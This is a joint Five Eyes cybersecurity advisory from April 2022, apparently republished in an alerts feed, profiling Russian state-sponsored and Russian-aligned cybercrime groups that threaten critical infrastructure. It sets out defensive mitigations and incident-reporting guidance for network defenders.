U.S. organizations: all organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov. Australian organizations: visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. Canadian organizations: report incidents by emailing CCCS at contact@cyber.gc.ca. New Zealand organizations: report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654. United Kingdom organizations: report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Revisions
  • April 27, 2022: Initial Version

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Categories: LATEST ALERT

AR22

US-CERT All NCAS Products - Mon, 04/25/2022 - 17:00
AR22-115A
Categories: LATEST ALERT

AA22-110A: Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure

US-CERT Alerts - Wed, 04/20/2022 - 18:00
Original release date: April 20, 2022
Summary

Actions critical infrastructure organizations should implement to immediately protect against Russian state-sponsored and criminal cyber threats:
• Patch all systems. Prioritize patching known exploited vulnerabilities.
• Enforce multifactor authentication.
• Secure and monitor Remote Desktop Protocol and other risky services.
• Provide end-user awareness and training.

The cybersecurity authorities of the United States[1][2][3], Australia[4], Canada[5], New Zealand[6], and the United Kingdom[7][8] are releasing this joint Cybersecurity Advisory (CSA). The intent of this joint CSA is to warn organizations that Russia’s invasion of Ukraine could expose organizations both within and beyond the region to increased malicious cyber activity. This activity may occur as a response to the unprecedented economic costs imposed on Russia as well as materiel support provided by the United States and U.S. allies and partners.

Evolving intelligence indicates that the Russian government is exploring options for potential cyberattacks (see the March 21, 2022, Statement by U.S. President Biden for more information). Recent Russian state-sponsored cyber operations have included distributed denial-of-service (DDoS) attacks, and older operations have included deployment of destructive malware against Ukrainian government and critical infrastructure organizations

Additionally, some cybercrime groups have recently publicly pledged support for the Russian government. These Russian-aligned cybercrime groups have threatened to conduct cyber operations in retaliation for perceived cyber offensives against the Russian government or the Russian people. Some groups have also threatened to conduct cyber operations against countries and organizations providing materiel support to Ukraine. Other cybercrime groups have recently conducted disruptive attacks against Ukrainian websites, likely in support of the Russian military offensive.

This advisory updates joint CSA Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure, which provides an overview of Russian state-sponsored cyber operations and commonly observed tactics, techniques, and procedures (TTPs). This CSA—coauthored by U.S., Australian, Canadian, New Zealand, and UK cyber authorities with contributions from industry members of the Joint Cyber Defense Collaborative (JCDC)—provides an overview of Russian state-sponsored advanced persistent threat (APT) groups, Russian-aligned cyber threat groups, and Russian-aligned cybercrime groups to help the cybersecurity community protect against possible cyber threats.

U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities urge critical infrastructure network defenders to prepare for and mitigate potential cyber threats—including destructive malware, ransomware, DDoS attacks, and cyber espionage—by hardening their cyber defenses and performing due diligence in identifying indicators of malicious activity. Refer to the Mitigations section of this advisory for recommended hardening actions.

For more information on Russian state-sponsored cyber activity, see CISA’s Russia Cyber Threat Overview and Advisories webpage. For more information on the heightened cyber threat to critical infrastructure organizations, see the following resources:

Click here for a PDF version of this report.

Technical DetailsRussian State-Sponsored Cyber Operations

Russian state-sponsored cyber actors have demonstrated capabilities to compromise IT networks; develop mechanisms to maintain long-term, persistent access to IT networks; exfiltrate sensitive data from IT and operational technology (OT) networks; and disrupt critical industrial control systems (ICS)/OT functions by deploying destructive malware. 
Historical operations have included deployment of destructive malware—including BlackEnergy and NotPetya—against Ukrainian government and critical infrastructure organizations. Recent Russian state-sponsored cyber operations have included DDoS attacks against Ukrainian organizations. Note: for more information on Russian state-sponsored cyber activity, including known TTPs, see joint CSA Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure

Cyber threat actors from the following Russian government and military organizations have conducted malicious cyber operations against IT and/or OT networks:

  • The Russian Federal Security Service (FSB), including FSB’s Center 16 and Center 18
  • Russian Foreign Intelligence Service (SVR)
  • Russian General Staff Main Intelligence Directorate (GRU), 85th Main Special Service Center (GTsSS)
  • GRU’s Main Center for Special Technologies (GTsST)
  • Russian Ministry of Defense, Central Scientific Institute of Chemistry and Mechanics (TsNIIKhM)
The Russian Federal Security Service

Overview: FSB, the KGB’s successor agency, has conducted malicious cyber operations targeting the Energy Sector, including UK and U.S. energy companies, U.S. aviation organizations, U.S. government and military personnel, private organizations, cybersecurity companies, and journalists. FSB has been known to task criminal hackers for espionage-focused cyber activity; these same hackers have separately been responsible for disruptive ransomware and phishing campaigns.

Industry reporting identifies three intrusion sets associated with the FSB, but the U.S. and UK governments have only formally attributed one of these sets—known as BERSERK BEAR—to FSB.

  • BERSERK BEAR (also known as Crouching Yeti, Dragonfly, Energetic Bear, and Temp.Isotope) has, according to industry reporting, historically targeted entities in Western Europe and North America including state, local, tribal, and territorial (SLTT) organizations, as well as Energy, Transportation Systems, and Defense Industrial Base (DIB) Sector organizations. This group has also targeted the Water and Wastewater Systems Sector and other critical infrastructure facilities. Common TTPs include scanning to exploit internet-facing infrastructure and network appliances, conducting brute force attacks against public-facing web applications, and leveraging compromised infrastructure—often websites frequented or owned by their target—for Windows New Technology Local Area Network Manager (NTLM) credential theft. Industry reporting assesses that this actor has a destructive mandate.

The U.S. and UK governments assess that this APT group is almost certainly FSB’s Center 16, or Military Unit 71330, and that FSB’s Center 16 has conducted cyber operations against critical IT systems and infrastructure in Europe, the Americas, and Asia. 

Resources: for more information on BERSERK BEAR, see the MITRE ATT&CK® webpage on Dragonfly.

High-Profile Activity: in 2017, FSB employees, including one employee in the FSB Center for Information Security (also known as Unit 64829 and Center 18), were indicted by the U.S. Department of Justice (DOJ) for accessing email accounts of U.S. government and military personnel, private organizations, and cybersecurity companies, as well as email accounts of journalists critical of the Russian government.[9] More recently, in 2021, FSB Center 16 officers were indicted by the U.S. DOJ for their involvement in a multi-stage campaign in which they gained remote access to U.S. and international Energy Sector networks, deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data. One of the victims was a U.S. nuclear power plant.[10

Resources: for more information on FSB, see: 

Russian Foreign Intelligence Service

Overview: SVR has operated an APT group since at least 2008 that has targeted multiple critical infrastructure organizations. SVR cyber threat actors have used a range of initial exploitation techniques that vary in sophistication coupled with stealthy intrusion tradecraft within compromised networks. SVR cyber actors’ novel tooling and techniques include:

  • Custom, sophisticated multi-platform malware targeting Windows and Linux systems (e.g., GoldMax and TrailBlazer); and
  • Lateral movement via the “credential hopping” technique, which includes browser cookie theft to bypass multifactor authentication (MFA) on privileged cloud accounts.[11]

High-Profile Activity: the U.S. Government, the Government of Canada, and the UK Government assess that SVR cyber threat actors were responsible for the SolarWinds Orion supply chain compromise and the associated campaign that affected U.S. government agencies, critical infrastructure entities, and private sector organizations.[12][13][14]

Also known as: APT29, COZY BEAR, CozyDuke, Dark Halo, The Dukes, NOBELIUM, and NobleBaron, StellarParticle, UNC2452, YTTRIUM [15]

Resources: for more information on SVR, see:

For more information on the SolarWinds Orion supply chain compromise, see:

GRU, 85th Main Special Service Center

Overview: GTsSS, or Unit 26165, is an APT group that has operated since at least 2004 and primarily targets government organizations, travel and hospitality entities, research institutions, and non-governmental organizations, in addition to other critical infrastructure organizations. 

According to industry reporting, GTsSS cyber actors frequently collect credentials to gain initial access to target organizations. GTsSS actors have collected victim credentials by sending spearphishing emails that appear to be legitimate security alerts from the victim’s email provider and include hyperlinks leading to spoofed popular webmail services’ logon pages. GTsSS actors have also registered domains to conduct credential harvesting operations. These domains mimic popular international social media platforms and masquerade as tourism- and sports-related entities and music and video streaming services.

High-Profile Activity: the U.S. Government assesses that GTsSS cyber actors have deployed Drovorub malware against victim devices as part of their cyber espionage operations.[16] The U.S. Government and UK Government assess that GTsSS actors used a Kubernetes® cluster to conduct widespread, distributed, and anonymized brute force access attempts against hundreds of government and private sector targets worldwide.[17

Also known as: APT28, FANCY BEAR, Group 74, IRON TWILIGHT, PawnStorm, Sednit, SNAKEMACKEREL, Sofacy, STRONTIUM, Swallowtail, TG-4127, Threat Group-4127, and Tsar Team [18]

Resources: for more information on GTsSS, see the MITRE ATT&CK webpage on APT28

GRU’s Main Center of Special Technologies

Overview: GTsST, or Unit 74455, is an APT group that has operated since at least 2009 and has targeted a variety of critical infrastructure organizations, including those in the Energy, Transportation Systems, and Financial Services Sectors. According to industry reporting, GTsST also has an extensive history of conducting cyber espionage as well as destructive and disruptive operations against NATO member states, Western government and military organizations, and critical infrastructure-related organizations, including in the Energy Sector.

The primary distinguishing characteristic of the group is its operations use techniques aimed at causing disruptive or destructive effects at targeted organizations using DDoS attacks or wiper malware. The group’s destructive operations have also leveraged wiper malware that mimics ransomware or hacktivism and can result in collateral effects to organizations beyond the primary intended targets. Some of their disruptive operations have shown disregard or ignorance of potential secondary or tertiary effects. 

High-Profile Activity: the malicious activity below has been previously attributed to GTsST by the U.S. Government and the UK Government.[19][20]

The U.S. Government, the Government of Canada, and UK Government have also attributed the October 2019 large-scale, disruptive cyber operations against a range of Georgian web hosting providers to GTsST. This activity resulted in websites—including sites belonging to the Georgian government, courts, non-government organizations (NGOs), media, and businesses—being defaced and interrupted the service of several national broadcasters.[21]22][23]

Also known as: ELECTRUM, IRON VIKING, Quedagh, the Sandworm Team, Telebots, VOODOO BEAR [24]

Resources: for more information on GTsST, see the MITRE ATT&CK webpage on Sandworm Team

Russian Ministry of Defense, Central Scientific Institute of Chemistry and Mechanics 

Overview: TsNIIKhM, as described on their webpage, is a research organization under Russia’s Ministry of Defense (MOD). Actors associated with TsNIIKhM have developed destructive ICS malware.

High-Profile Activity: TsNIIKhM has been sanctioned by the U.S. Department of the Treasury for connections to the destructive Triton malware (also called HatMan and TRISIS); TsNIIKhM has been sanctioned by the UK Foreign, Commonwealth, and Development Office (FCDO) for a 2017 incident that involved safety override controls (with Triton malware) in a foreign oil refinery.[25][26] In 2021, the U.S. DOJ indicted a TsNIIKhM Applied Development Center (ADC) employee for conducting computer intrusions against U.S. Energy Sector organizations. The indicted employee also accessed the systems of a foreign oil refinery and deployed Triton malware.[27] Triton is a custom-built malware designed to manipulate safety instrumented systems within ICS controllers, disabling the safety alarms that prevent dangerous conditions. 

Also known as: Temp.Veles, XENOTIME [28]

Resources: for more information on TsNIIKhM, see the MITRE ATT&CK webpage on TEMP.Veles. For more information on Triton, see:

Russian-Aligned Cyber Threat Groups

In addition to the APT groups identified in the Russian State-Sponsored Cyber Operations section, industry reporting identifies two intrusion sets—PRIMITIVE BEAR and VENOMOUS BEAR—as state-sponsored APT groups, but U.S., Australian, Canadian, New Zealand, and UK cyber authorities have not attributed these groups to the Russian government.

  • PRIMITIVE BEAR has, according to industry reporting, targeted Ukrainian organizations since at least 2013. This activity includes targeting Ukrainian government, military, and law enforcement entities using high-volume spearphishing campaigns to deliver its custom malware. According to industry reporting, PRIMITIVE BEAR conducted multiple cyber operations targeting Ukrainian organizations in the lead up to Russia’s invasion.

Resources: for more information on PRIMITIVE BEAR, see the MITRE ATT&CK webpage on the Gamaredon Group.

  • VENOMOUS BEAR has, according to industry reporting, historically targeted governments aligned with the North Atlantic Treaty Organization (NATO), defense contractors, and other organizations of intelligence value. Venomous Bear is known for its unique use of hijacked satellite internet connections for command and control (C2). It is also known for the hijacking of other non-Russian state-sponsored APT actor infrastructure.[29] VENOMOUS BEAR has also historically leveraged compromised infrastructure and maintained an arsenal of custom-developed sophisticated malware families, which is extremely complex and interoperable with variants developed over time. VENOMOUS BEAR has developed tools for multiple platforms, including Windows, Mac, and Linux.[30

Resources: for more information on VENOMOUS BEAR, see the MITRE ATT&CK webpage on Turla.

Russian-Aligned Cybercrime Groups

Cybercrime groups are typically financially motivated cyber actors that seek to exploit human or security vulnerabilities to enable direct theft of money (e.g., by obtaining bank login information) or by extorting money from victims. These groups pose consistent threats to critical infrastructure organizations globally. 

Since Russia’s invasion of Ukraine in February 2022, some cybercrime groups have independently publicly pledged support for the Russian government or the Russian people and/or threatened to conduct cyber operations to retaliate against perceived attacks against Russia or materiel support for Ukraine. These Russian-aligned cybercrime groups likely pose a threat to critical infrastructure organizations primarily through:

  • Deploying ransomware through which cyber actors remove victim access to data (usually via encryption), potentially causing significant disruption to operations.
  • Conducting DDoS attacks against websites. 
    • In a DDoS attack, the cyber actor generates enough requests to flood and overload the target page and stop it from responding. 
    • DDoS attacks are often accompanied by extortion. 
    • According to industry reporting, some cybercrime groups have recently carried out DDoS attacks against Ukrainian defense organizations, and one group claimed credit for DDoS attack against a U.S. airport the actors perceived as supporting Ukraine (see the Killnet section).

Based on industry and open-source reporting, U.S., Australian, Canadian, New Zealand, and UK cyber authorities assess multiple Russian-aligned cybercrime groups pose a threat to critical infrastructure organizations. These groups include:

  • The CoomingProject
  • Killnet
  • MUMMY SPIDER 
  • SALTY SPIDER
  • SCULLY SPIDER
  • SMOKEY SPIDER
  • WIZARD SPIDER
  • The Xaknet Team

Note: although some cybercrime groups may conduct cyber operations in support of the Russian government, U.S., Australian, Canadian, New Zealand, and UK cyber authorities assess that cyber criminals will most likely continue to operate primarily based on financial motivations, which may include targeting government and critical infrastructure organizations.

The CoomingProject

Overview: the CoomingProject is a criminal group that extorts money from victims by exposing or threatening to expose leaked data. Their data leak site was launched in August 2021.[31] The CoomingProject stated they would support the Russian Government in response to perceived cyberattacks against Russia.[32]

Killnet

Overview: according to open-source reporting, Killnet released a video pledging support to Russia.[33
Victims: Killnet claimed credit for carrying out a DDoS attack against a U.S. airport in March 2022 in response to U.S. materiel support for Ukraine.[34]

MUMMY SPIDER

Overview: MUMMY SPIDER is a cybercrime group that creates, distributes, and operates the Emotet botnet. Emotet is advanced, modular malware that originated as a banking trojan (malware designed to steal information from banking systems but that may also be used to drop additional malware and ransomware). Today Emotet primarily functions as a downloader and distribution service for other cybercrime groups. Emotet has been used to deploy WIZARD SPIDER’s TrickBot, which is often a precursor to ransomware delivery. Emotet has worm-like features that enable rapid spreading in an infected network. 

Victims: according to open sources, Emotet has been used to target industries worldwide, including financial, e-commerce, healthcare, academia, government, and technology organizations’ networks.

Also known as: Gold Crestwood, TA542, TEMP.Mixmaster, UNC3443

Resources: for more information on Emotet, see joint Alert Emotet Malware. For more information on TrickBot, see joint CSA TrickBot Malware

SALTY SPIDER

Overview: SALTY SPIDER is a cybercrime group that develops and operates the Sality botnet. Sality is a polymorphic file infector that was discovered in 2003; since then, it has been replaced by more advanced peer-to-peer (P2P) malware loaders.[35]

Victims: according to industry reporting, in February 2022, SALTY SPIDER conducted DDoS attacks against Ukrainian web forums used to discuss events relating to Russia’s military offensive against the city of Kharkiv.

Also known as: Sality

SCULLY SPIDER

Overview: SCULLY SPIDER is a cybercrime group that operates using a malware-as-a-service model; SCULLY SPIDER maintains command and control infrastructure and sells access to their malware and infrastructure to affiliates, who distribute their own malware.[36][37] SCULLY SPIDER develops and operates the DanaBot botnet, which originated primarily as a banking Trojan but expanded beyond banking in 2021 and has since been used to facilitate access for other types of malware, including TrickBot, DoppelDridex, and Zloader. Like Emotet, Danabot effectively functions as an initial access vector for other malware, which can result in ransomware deployment.

According to industry reporting, recent DDoS activity by the DanaBot botnet suggests SCULLY SPIDER has operated in support of Russia’s military offensive in Ukraine. 

Victims: SCULLY SPIDER affiliates have primarily targeted organizations in the United States, Canada, Germany, United Kingdom, Australia, Italy, Poland, Mexico, and Ukraine.[38] According to industry reporting, in March 2022, Danabot was used in DDoS attacks against multiple Ukrainian government organizations. 

Also known as: Gold Opera

SMOKEY SPIDER

Overview: SMOKEY SPIDER is a cybercrime group that develops Smoke Loader (also known as Smoke Bot), a malicious bot that is used to upload other malware. Smoke Loader has been available since at least 2011, and operates as a malware distribution service for a number of different payloads, including—but not limited to—DanaBot, TrickBot, and Qakbot.

Victims: according to industry reporting, Smoke Loader was observed in March 2022 distributing DanaBot payloads that were subsequently used in DDoS attacks against Ukrainian targets.
Resources: for more information on Smoke Loader, see the MITRE ATT&CK webpage on Smoke Loader.

WIZARD SPIDER

Overview: WIZARD SPIDER is a cybercrime group that develops TrickBot malware and Conti ransomware. Historically, the group has paid a wage to the ransomware deployers (referred to as affiliates), some of whom may then receive a share of the proceeds from a successful ransomware attack. In addition to TrickBot, notable initial access and persistence vectors for affiliated actors include Emotet, Cobalt Strike, spearphishing, and stolen or weak Remote Desktop Protocol (RDP) credentials.

After obtaining access, WIZARD SPIDER affiliated actors have relied on various publicly available and otherwise legitimate tools to facilitate earlier stages of the attack lifecycle before deploying Conti ransomware.

WIZARD SPIDER pledged support to the Russian government and threatened critical infrastructure organizations of countries perceived to carry out cyberattacks or war against the Russian government.[39] They later revised this pledge and threatened to retaliate against perceived attacks against the Russian people.[40]

Victims: Conti victim organizations span across multiple industries, including construction and engineering, legal and professional services, manufacturing, and retail. In addition, WIZARD SPIDER affiliates have deployed Conti ransomware against U.S. healthcare and first responder networks.

Also known as: UNC2727, Gold Ulrick

Resources: for more information on Conti, see joint CSA Conti Ransomware. For more information on TrickBot, see joint CSA TrickBot Malware

The XakNet Team

Overview: XakNet is a Russian-language cyber group that has been active as early as March 2022. According to open-source reporting, the XakNet Team threatened to target Ukrainian organizations in response to perceived DDoS or other attacks against Russia.[41] According to reporting from industry, on March 31, 2022, XakNet released a statement stating they would work “exclusively for the good of [Russia].” According to industry reporting, the XakNet Team may be working with or associated with Killnet actors, who claimed credit for the DDoS attacks against a U.S. airport (see the Killnet section).

Victims: according to industry reporting, in late March 2022, the XakNet Team leaked email contents of a Ukrainian government official. The leak was accompanied by a political statement criticizing the Ukrainian government, suggesting the leak was politically motivated. 

Mitigations

U.S., Australian, Canadian, New Zealand, and UK cyber authorities urge critical infrastructure organizations to prepare for and mitigate potential cyber threats by immediately (1) updating software, (2) enforcing MFA, (3) securing and monitoring RDP and other potentially risky services, and (4) providing end-user awareness and training.

  • Update software, including operating systems, applications, and firmware, on IT network assets. Prioritize patching known exploited vulnerabilities and critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
    • Consider using a centralized patch management system. For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.  
    • Consider signing up for CISA’s cyber hygiene services, including vulnerability scanning, to help reduce exposure to threats. CISA’s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IP addresses for accessible services and vulnerabilities.
  • Enforce MFA to the greatest extent possible and require accounts with password logins, including service accounts, to have strong passwords. Do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access. As Russian state-sponsored APT actors have demonstrated the ability to exploit default MFA protocols and known vulnerabilities, organizations should review configuration policies to protect against “fail open” and re-enrollment scenarios. For more information, see joint CSA Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability.
  • If you use RDP and/or other potentially risky services, secure and monitor them closely. RDP exploitation is one of the top initial infection vectors for ransomware, and risky services, including RDP, can allow unauthorized access to your session using an on-path attacker.
    • Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a virtual private network (VPN) or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force attempts, log RDP login attempts, and disable unused remote access/RDP ports.
    • Ensure devices are properly configured and that security features are enabled. Disable ports and protocols that are not being used for a business purpose (e.g., RDP Transmission Control Protocol Port 3389). 
  • Provide end-user awareness and training to help prevent successful targeted social engineering and spearphishing campaigns. Phishing is one of the top infection vectors for ransomware, and Russian state-sponsored APT actors have conducted successful spearphishing campaigns to gain credentials of target networks.
    • Ensure that employees are aware of potential cyber threats and delivery methods. 
    • Ensure that employees are aware of what to do and whom to contact when they receive a suspected phishing email or suspect a cyber incident.

As part of a longer-term effort, implement network segmentation to separate network segments based on role and functionality. Network segmentation can help prevent the spread of ransomware and threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks.

  • Ensure OT assets are not externally accessible. Ensure strong identity and access management when OT assets needs to be externally accessible.
  • Appropriately implement network segmentation between IT and OT networks. Network segmentation limits the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone that eliminates unregulated communication between the IT and OT networks.
  • Organize OT assets into logical zones by considering criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to filter network traffic and monitor communications between zones. Prohibit ICS protocols from traversing the IT network.

To further prepare for and mitigate cyber threats from Russian state-sponsored or criminal actors, U.S., Australian, Canadian, New Zealand, and UK cyber authorities encourage critical infrastructure organizations to implement the recommendations listed below.

Preparing for Cyber Incidents
  • Create, maintain, and exercise a cyber incident response and continuity of operations plan. 
    • Ensure the cyber incident response plan contains ransomware- and DDoS-specific annexes. For information on preparing for DDoS attacks, see NCSC-UK guidance on preparing for denial-of-service attacks.
    • Keep hard copies of the incident response plan to ensure responders and network defenders can access the plan if the network has been shut down by ransomware, etc.
  • Maintain offline (i.e., physically disconnected) backups of data. Backup procedures should be conducted on a frequent, regular basis (at a minimum every 90 days). Regularly test backup procedures and ensure that backups are isolated from network connections that could enable the spread of malware.
    • Ensure the backup keys are kept offline as well, to prevent them being encrypted in a ransomware incident.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure with a particular focus on key data assets.
  • Develop recovery documentation that includes configuration settings for common devices and critical equipment. Such documentation can enable more efficient recovery following an incident.
  • Identify the attack surface by mapping and accounting all external-facing assets (applications, servers, IP addresses) that are vulnerable to DDoS attacks or other cyber operations.
  • For OT assets/networks:
    • Identify a resilience plan that addresses how to operate if you lose access to—or control of—the IT and/or OT environment.
    • Identify OT and IT network interdependencies and develop workarounds or manual controls to ensure ICS networks can be isolated from IT networks if the connections create risk to the safe and reliable operation of OT processes. Regularly test contingency plans, such as manual controls, so that safety-critical functions can be maintained during a cyber incident. Ensure that the OT network can operate at necessary capacity even if the IT network is compromised.
    • Regularly test manual controls so that critical functions can be kept running if ICS or OT networks need to be taken offline.
    • Implement data backup procedures.
    • Develop recovery documents that include configuration settings for common devices and critical OT equipment. 
Identity and Access Management
  • Require accounts with password logins, including service accounts, to have strong passwords and do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access. Consider using a password manager; see NCSC-UK’s Password Manager Buyers Guide for guidance.
  • Implement authentication timeout and lockout features to prevent repeated failed login attempts and successful brute-force attempts.
  • Create a deny list of known compromised credentials and prevent users from using known-compromised passwords.
  • Secure credentials by restricting where accounts and credentials can be used and by using local device credential protection features. Russian state-sponsored APT actors have demonstrated their ability to maintain persistence using compromised credentials.
    • Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored.
    • Ensure storage of clear text passwords in Local Security Authority Subsystem Service (LSASS) memory is disabled. Note: for Windows 8, this is enabled by default. For more information see Microsoft Security Advisory Update to Improve Credentials Protection and Management.
    • Consider disabling or limiting NTLM and WDigest Authentication.
    • Implement Credential Guard for Windows 10 and Server 2016 (refer to Microsoft: Manage Windows Defender Credential Guard for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).
    • Minimize the Active Directory (AD) attack surface to reduce malicious ticket-granting activity. Malicious activity such as “Kerberoasting” takes advantage of Kerberos’ Ticket Granting Service (TGS) and can be used to obtain hashed credentials that malicious cyber actors attempt to crack.
  • Audit domain controllers to log successful Kerberos TGS requests and ensure the events are monitored for anomalous activity.  
    • Secure accounts.
    • Enforce the principle of least privilege. Administrator accounts should have the minimum permission necessary to complete their tasks.
    • Ensure there are unique and distinct administrative accounts for each set of administrative tasks.
    • Create non-privileged accounts for privileged users and ensure they use the non-privileged accounts for all non-privileged access (e.g., web browsing, email access).
  • Disable inactive accounts uniformly across the AD, MFA systems, etc.
  • Implement time-based access for privileged accounts. The FBI and CISA observed cybercriminals conducting increasingly impactful attacks against U.S. entities on holidays and weekends in 2021. Threat actors may view holidays and weekends—when offices are normally closed—as attractive timeframes, as there are fewer network defenders and IT support personnel at victim organizations. The just-in-time access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the zero-trust model) by setting network-wide policy to automatically disable admin accounts at the AD level. As needed, individual users can submit requests through an automated process that enables access to a system for a set timeframe. 
Protective Controls and Architecture
  • Identify, detect, and investigate abnormal activity that may indicate lateral movement by a threat actor, ransomware, or other malware. Use network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
  • Implement a firewall and configure it to block Domain Name System (DNS) responses from outside the enterprise network or drop Internet Control Message Protocol (ICMP) packets. Review which admin services need to be accessible externally and allow those explicitly, blocking all others by default.
    • U.S. Defense Industrial Base organizations may sign up for the NSA Cybersecurity Collaboration Center’s Protective Domain Name System (PDNS) services.
  • Enable web application firewalls to mitigate application-level DDoS attacks. 
  • Implement a multi-content delivery network (CDN) solution. This will minimize the threat of DDoS attacks by distributing and balancing web traffic across a network.
Vulnerability and Configuration Management
  • Use an antivirus programs that uses heuristics and reputational ratings to check a file’s prevalence and digital signature prior to execution. Note: organizations should assess the risks inherent in their software supply chain (including its security/antivirus software supply chain) in light of the existing threat landscape.
    • Set antivirus/antimalware programs to conduct regular scans of IT network assets using up-to-date signatures. 
    • Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.
  • Implement rigorous configuration management programs. Ensure the programs can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses.
  • Disable all unnecessary ports and protocols.
    • Review network security device logs and determine whether to shut off unnecessary ports and protocols. Monitor common ports and protocols for command and control activity.
    • Turn off or disable any unnecessary services (e.g., PowerShell) or functionality within devices.
  • Identify business-to-business VPNs and block high-risk protocols.
  • Ensure OT hardware is in read-only mode.
  • Enable strong spam filters.
    • Enable strong spam filters to prevent phishing emails from reaching end users.
    • Filter emails containing executable files to prevent them from reaching end users.
    • Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments.
  • Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.
  • Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.
  • Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy.
  • Open document readers in protected viewing modes to help prevent active content from running.
Responding to Cyber Incidents

U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities urge network defenders of critical infrastructure organizations to exercise due diligence in identifying indicators of malicious activity. Organizations detecting potential APT or ransomware activity in their IT or OT networks should:

  1. Immediately isolate affected systems.
  2. For DDoS attacks:
    1. Identify the source address originating the attack via the SIEM or logging service. If the attack is originating from a single pool of IP addresses, block IP traffic from suspected IPs via access control lists or by contacting your internet service provider (ISP).
    2. Enable firewall rate limiting to restrict the amount of IP traffic coming in from suspected IP addresses
    3. Notify your ISP and enable remote triggered blackhole (RTBH).
  3. Secure backups. Ensure your backup data is offline and secure. If possible, scan your backup data with an antivirus program to ensure it is free of malware.
  4. Collect and review relevant logs, data, and artifacts.
  5. Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
  6. Report incidents to appropriate cyber and law enforcement authorities:
  • U.S organizations: share information about incidents and anomalous activity to CISA’s 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. For ransomware incidents, organizations can also report to the U.S. Secret Service via a U.S. Secret Service Field Office
  • Australian organizations: if you have questions about this advice or have indications that your environment has been compromised, call the ACSC at 1300 CYBER1 (1300 292 371). To report an incident see cyber.gov.au/acsc/report.
  • Canadian organizations: report incidents by emailing CCCS at contact@cyber.gc.ca.
  • New Zealand organizations: if your organization requires assistance from the National Cyber Security Centre, contact them directly via telephone at (04) 498-7654 or via email at ncscincidents@ncsc.govt.nz.
  • UK organizations: report a significant cybersecurity incident at ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

For additional guidance on responding to a ransomware incident, see the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.

See the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for guidance on hunting or investigating a network, and for common mistakes in incident handling.

Additionally, CISA, the FBI, and NSA encourage U.S. critical infrastructure owners and operators to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail each step for both incident and vulnerability response.  

Note: U.S., Australian, Canadian, New Zealand, and UK cyber authorities strongly discourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Paying the ransom does not guarantee that a victim’s files will be recovered.

RESOURCES DISCLAIMER

The information you have accessed or received is being provided “as is” for informational purposes only. CISA, NSA, FBI, ACSC, CCCS, NZ NCSC, NCSC-UK, and the UK National Crime Agency (NCA) do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.

TRADEMARK RECOGNITION

MITRE and ATT&CK are registered trademarks of The MITRE Corporation. Kubernetes is a registered trademark of The Linux Foundation.

PURPOSE 

